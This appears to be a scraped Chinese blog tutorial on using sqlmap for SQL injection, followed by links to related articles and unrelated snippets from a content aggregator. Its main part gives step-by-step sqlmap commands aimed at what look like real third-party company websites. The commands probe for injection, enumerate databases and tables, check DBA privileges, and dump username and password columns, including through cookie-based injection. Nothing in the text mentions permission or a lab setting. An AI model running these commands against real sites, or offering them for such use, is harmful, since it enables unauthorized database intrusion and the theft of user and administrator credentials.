sqlmap(网站数据库注入)
*教程
http://www.nxadmin.com/tools/1241.html
一、ASP网站
1.
sqlmap -u “http://www.czypjx.com/News_show.asp?id=110”
-u “检测是否存在注入”
返回数据库的名字
查看数据库信息及是否存在注入漏洞(绿色可以注入,黄色不可)
2.
sqlmap -u “http://www.czypjx.com/News_show.asp?id=110” --tables
猜解出所有表名
选择"user" "admin"
3.
sqlmap -u "http://www.czypjx.com/News_show.asp?id=110" --columns -T "user"
--columns 猜列名 根据user表
4.
sqlmap -u "http://www.czypjx.com/News_show.asp?id=110" --dump -C "username,password" -T "user"
--dump 下载数据 -C “username,password” 列名
二、PHP网站(一般是mysql的数据库)
1. 检测
sqlmap -u “http://www.ggec.com.cn/oneNews.php?id=69”
2.是否dba权限
sqlmap -u “http://www.ggec.com.cn/oneNews.php?id=69” --is-dba
3.列出所有数据库
sqlmap -u “http://www.ggec.com.cn/oneNews.php?id=69” --dbs
4.查找自己的数据库
sqlmap -u “http://www.ggec.com.cn/oneNews.php?id=69” --current-db
5.查询所有表名
sqlmap -u "http://www.ggec.com.cn/oneNews.php?id=69" --tables -D "ggec"
查询所有表名, 根据ggec数据库来查询
6.查询所有的列
sqlmap -u "http://www.ggec.com.cn/oneNews.php?id=69" --colums -T “ggec_admin” -D "ggec"
“ggec_admin”是选择的表名
7.查询列的字段
sqlmap -u "http://www.ggec.com.cn/oneNews.php?id=69" --dump -C “username,password” -T “ggec_admin” -D "ggec"
三、ASP网站的Cookie注入
1.
sqlmap -u "http://www.wisefund.com.cn/about.asp?id=56“
显示不能注入
修改为
sqlmap -u “http://www.wisefund.com.cn/about.asp ” --cookie “id=56” --level 2
--cookie “” 这里写ID的参数
有时这样就可以注入了
2.
sqlmap -u “http://www.wisefund.com.cn/about.asp ” --tables --cookie “id=56” --level 2
3.
sqlmap -u “http://www.wisefund.com.cn/about.asp ” --columns -T “user” --cookie “id=56” --level 2
4.
sqlmap -u “http://www.wisefund.com.cn/about.asp ”--dump -C “username,password” -T “user” --cookie “id=56” --level 2
*参考
http://wenku.baidu.com/link?url=2KJ2bgLFI3Fhknk0Pr3fAlMDmLr-jqG6fD9FaBdLqTFbNnHyVLy-NIjpgm5RsBDVoegjVFw1GAqg_QdgqljPUWKcvNyGFLIEVw3aj9ZuYwa
http://drops.wooyun.org/tips/143
http://it.100xuexi.com/view/otdetail/20131031/8158cdfa-e485-46f9-8067-a4ad4891d267.html
http://www.cnblogs.com/hongfei/p/3872156.html
sqlmap(网站数据库注入)的更多相关文章
- SQLMAP学习笔记2 Mysql数据库注入
SQLMAP学习笔记2 Mysql数据库注入 注入流程 (如果网站需要登录,就要用到cookie信息,通过F12开发者工具获取cookie信息) sqlmap -u "URL" - ...
- CentOS 7 通过SQLmap进行SQL注入
安装SQLmap: IP:192.168.94.11 渗透测试演练系统DVWA: IP:192.168.94.111 通过SQLmap检测SQL注入漏洞 : 1.安装SQLmap漏洞查看工具 2.安装 ...
- Access+Mssql+Oracle数据库注入
Access数据库注入 前言:在常见的注入测试中,由于每个数据库内置架构和应用不同,导致数据库类型将决定注入的手法,Access数据库是小型数据库类型,普遍用于小型WEB应用,其中Access注入手法 ...
- SqlMap之数据库操作语句总结
SQLMAP是一款开源的渗透测试程序,它可以自动探测和利用SQL注入漏洞来获得我们想要的数据.我们可以利用它执行特定的命令.查看文件.获取各种数据:当然,最猥琐的是它利用注入点拖库的速率还是灰常让人满 ...
- 结合sqlmap进行sql注入过程
结合sqlmap进行sql注入:(-r后面是通过burp suite抓出来的请求包:-p后面是注入点,即该请求里携带的某个参数) Get请求的注入: ./sqlmap.py -r rss_test.t ...
- 【阿里云产品公测】利用PTS服务优化网站数据库读写性能
[阿里云产品公测]利用PTS服务优化网站数据库读写性能 作者:阿里云用户千鸟 写这个帖子主要也是因为在用PTS测试网站的时候,手动访问网站进入报错页面,主要原因是数据库连接对象存在问题,导致并发多的时 ...
- discuz网站数据库迁移
你的discuz网站数据库迁移,或者修改过改密码后,还要以下相关配置文件修改,才能不会出现1045错误 以windows系统为例:首先登陆远程桌面,在运行中输入cmd,单开命令模式,再输入 net ...
- Atitit.故障排除系列---php 程序网站数据库错误排除流程
Atitit.故障排除系列---php 程序网站数据库错误排除流程 Php页面报告的错误不能定位到myusql的db配置上...字说是db conn err Mysql 接入错误...大概查看哈能不能 ...
- Atitit.故障排除系列---php
计划网站数据库错误排除过程
Atitit.故障排除系列---php 计划网站数据库错误排除过程 Php页面报告的错误不能定位到myusql的db配置上...字说是db conn err Mysql 接入错误...大概查看哈能不能 ...
随机推荐
- 通过无线网络使用ADB ( Connect to android with ADB over TCP )
之前用USB数据线连接电脑和android手机,用adb操控手机. 后来电脑前面板的USB全坏了,键盘.鼠标.USBKkey.打印机都需USB, 少一个USB口,只得对不常用设备进行插拔切换. 于是 ...
- learning express stpe(三)
use static resourceL: const express = require('express'); const app = express(); app.use(express.sta ...
- E. The Contest ( 简单DP || 思维 + 贪心)
传送门 题意: 有 n 个数 (1 ~ n) 分给了三个人 a, b, c: 其中 a 有 k1 个, b 有 k2 个, c 有 k3 个. 现在问最少需要多少操作,使得 a 中所有数 是 1 ~ ...
- python3实现互信息和左右熵的新词发现--基于字典树
字典树 原来讲明白了剩下的就是具体实现了,最适合存储和计算词频的数据结构就是字典树,这里给一个讲解的很清楚的链接 具体代码 代码已开源,需要的点击这个Github
- 数据结构实验之二叉树七:叶子问题(SDUT 3346)
#include <bits/stdc++.h> using namespace std; struct node { char data; struct node *lc, *rc; } ...
- NSMutableArray
NSMutableArray 是一个可变数组,是NSArray的子类,但是不可以添加空值 创建NSMutableArray的方法 +(id)arrarWithCapacity:(NSInteger)n ...
- zip flags 1 and 8 are not supported解决方案
原因是因为使用了mac自带的软件打包成了zip,这种zip包unzip命令无法解压的. 所以解决方案就是使用zip命令进行压缩,zip -r 目标文件 源文件
- 转贴:PLSQL中 commit 和 rollback 的区别
PLSQL中 commit 和 rollback 的区别 原文链接:https://blog.csdn.net/jerrytomcat/article/details/82250915 一. comm ...
- 一个有趣的BUG/按钮disabled之后还能触发click事件
一个很有意思的Bug 某天测试同学再次向我反馈,你这个删除按钮虽然置灰了,但是还是可以点击啊? 我:????(黑人问号) 卧槽?不可能啊,按钮都disabled了,怎么还可以点击?还能触发click事 ...
- 用Keras搭建神经网络 简单模版(五)——RNN LSTM Regressor 循环神经网络
# -*- coding: utf-8 -*- import numpy as np np.random.seed(1337) import matplotlib.pyplot as plt from ...